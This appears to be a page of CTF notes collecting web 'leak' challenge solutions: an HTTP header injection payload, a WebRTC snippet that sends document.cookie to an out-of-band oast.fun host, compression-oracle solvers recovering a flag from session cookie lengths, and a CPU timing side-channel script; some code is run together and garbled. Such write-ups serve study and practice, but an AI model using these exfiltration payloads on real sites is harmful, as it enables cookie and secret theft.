Skip to content

Categories

Leak

https://gist.github.com/tyage/3bb2b730c67b363a26b45699ca34b22ahttps://hackmd.io/@r2dev2/S1P0RYHYke#WebNot sure if anyone else used this trick From the xs leak via cpu microarchitectual attack dream (e...

Created

Updated

4 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Content Encoding + HTTP Header injection

Event NameAmateurs CTF 2025
GitHub URL-
Challenge NameDevil Net v2
Attachments
References

from urllib.parse import quote
payload = '''test\x1b(B"\r\nContent-Security-Policy-Report-Only: default-src \'none\' \'report-sample\'; base-uri \'none\'; connect-src *; sandbox \'allow-scripts\'; report-uri http://anshalfk.requestrepo.com; worker-src \'none\';\r\n\r\n<html><head><meta charset="ISO-2022-JP"><img src="https://google.com?data=amateursCTF{leakyy\x1b$B'''
print("http://1pc.tf:9192/scout?content="+quote(payload))

WebRTC to bypass CSP restriction to leak information

Event NameAmateurs CTF 2025
GitHub URL-
Challenge NameOrange Skies
Attachments
References

solve 1
const rtc = new RTCPeerConnection({
    iceServers: [
        { urls: "stun:" + document.cookie.split('=')[1].slice(13, 18) + ".dkqsmxdiwnfgfodfhnakr01wzmby9aw38.oast.fun" }
    ]
});
rtc.createDataChannel("");
rtc.createOffer().then((offer) => rtc.setLocalDescription(offer));
solve 2

CSRF + Open Redirect + URL fragment

Event NameIERAE CTF 2025
GitHub URLhttps://github.com/uclaacm/lactf-archive/tree/main/2025
Challenge NameOIDC転生おじさん
Attachments

https://gist.github.com/tyage/3bb2b730c67b363a26b45699ca34b22a

Zlib Compress Leak

Event NameLA CTF 2025
GitHub URLhttps://github.com/uclaacm/lactf-archive/tree/main/2025
Challenge NameWhack a Mole
Attachments

https://hackmd.io/@r2dev2/S1P0RYHYke#Web

source code (partial)
from flask import Flask, session, request, redirect, render_template
import os
import random as rng
from cryptography.fernet import Fernet
from flask.sessions import SessionInterface, SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.encoding import base64_decode, base64_encode

flag = os.environ.get("FLAG", "lactf{owo_uwu}")

app = Flask(__name__, static_folder="static")
app.secret_key = os.urandom(32).hex()

key = Fernet.generate_key()
f = Fernet(key)

class EncryptedSerializer(URLSafeTimedSerializer):
    def load_payload(self, payload, *args, serializer = None, **kwargs):
        encrypted = base64_decode(payload)
        decrypted = f.decrypt(encrypted)
        return super().load_payload(decrypted, *args, serializer, **kwargs)

    def dump_payload(self, obj):
        decrypted = super().dump_payload(obj)
        encrypted = f.encrypt(decrypted)
        return base64_encode(encrypted)

# impl yoinked from https://github.com/pallets/flask/blob/f61172b8dd3f962d33f25c50b2f5405e90ceffa5/src/flask/sessions.py#L317
class EncryptedSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None

        keys: list[str | bytes] = [app.secret_key]

        return EncryptedSerializer(
            keys,  # type: ignore[arg-type]
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs={
                "key_derivation": self.key_derivation,
                "digest_method": self.digest_method,
            },
        )

app.session_interface = EncryptedSessionInterface()


@app.post("/login")
def login():
    name = str(request.form.get("username"))
    funny_num = int(request.form.get("funny"))
    password = bytes((ord(ch) + funny_num) % 128 for ch in flag).decode()
    session["username"] = name
    session["sudopw"] = password
    return redirect("/game")


@app.post("/whack")
def whack():
    if "username" not in session:
        return {"err": "login pls"}

    if session["username"] == session["sudopw"]:
        return {"win": True}

    return {"mole": rng.randrange(5), "win": False}

@app.get("/")
def index():
    return render_template("index.html")

@app.get("/game")
def game():
    if "username" not in session:
        return redirect("/")
    return render_template("game.html", username=session["username"])


if __name__ == "__main__":
    app.run("0.0.0.0", 8000, debug=True)
solver
import string

import requests
from tqdm import tqdm

base = "https://whack-a-mole.chall.lac.tf/"
url = lambda end: f"{base.rstrip('/')}{end}"

alpha = string.ascii_letters + string.digits + "{}_"
rng = "q3aUrDpfmRzMzABTCILvXCOA3Us"

s = requests.Session()


def get_len(guess):
    r = s.post(
        url("/login"),
        data={"username": guess, "funny": "0"},
        allow_redirects=False,
    )
    sess = s.cookies["session"]
    return len(sess)


prefix = "lac"
block_size = 16
padrange = [*range(block_size)]
while "}" not in prefix:
    for pad in [*padrange]:
        owos = []
        for ch in alpha:
            guess = (prefix + ch) * block_size
            guess = guess + rng[:pad]
            owos.append((get_len(guess), ch))
        owos.sort()
        if owos[0][0] != owos[1][0]:
            prefix += owos[0][1]
            padrange.sort(key=lambda x: -1 if x == pad else x)
            break
    print(prefix)
solver 2
import requests, base64, string

FLAG = "lactf{wh"
ENDPOINT = "https://whack-a-mole.chall.lac.tf"

data = {
    'username': '',
    'funny': '0'
}


for i in range(30):
    for c in '_}' + string.ascii_lowercase + string.digits + string.ascii_uppercase:
        data['username'] = '!'+FLAG[-8:]+c+'%$'
        s = requests.Session()
        r = s.post(ENDPOINT+"/login", data=data)
        d = (base64.b64decode(s.cookies['session'].split(".")[0].encode()+b'==').decode())
        if len(d) < 248:
            FLAG += c
            print(FLAG)
            break

Mokersee | irisCTF 2024

Not sure if anyone else used this trick From the xs leak via cpu microarchitectual attack dream (except it’s not xsl because there’s no actual reason for it to be) If the cpu has to work with subnormal floating points it grinds to a halt Browsers all disable this explicitly

import requests
import time
from skimage.io import imshow
import numpy as np
import urllib
import json
from matplotlib import pyplot as plt
import ray
# black white SUBNORMAL = 1e-321SUBNORMAL = 1e-306X = 1024//10Y = 768//10print(X, Y)
image = np.zeros((X, Y))
plt.ion()
plt.show()
ray.init()
@ray.remotedef fetch(x, y):
    req = urllib.parse.quote_plus(json.dumps([{"filter": "resize", "args": [[X, Y], None, 'reflect', 0, True, False, False]}, {"filter":"warp","args":[[[0.0000001,0,y],[0,0.0000001,x],[0,0,1]]]}, {"filter": "resize", "args": [[1,1],None, 'reflect', 0, True, False, False]}, {"filter": "intensity", "args": [(0,1),(0,SUBNORMAL)]}, {"filter":"resize", "args":[[600,600]]} ]))
    t = time.time()
    requests.get("http://mokersee-web.chal.irisc.tf/view/flagmoker?filters=" + req)
    t = time.time() - t
    return x, y, t
futures = []
for x in range(0, X):
    for y in range(0, Y):
        futures.append(fetch.remote(x, y))
while len(futures) > 0:
    ready, _ = ray.wait(futures)
    for r in ready:
        x, y, t = ray.get(r)
        print(x, y, t)
        image[x, y] = t > 0.75        plt.clf()
        imshow(image)
        plt.draw()
        plt.pause(.001)
        futures.remove(r)
input("> ")

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.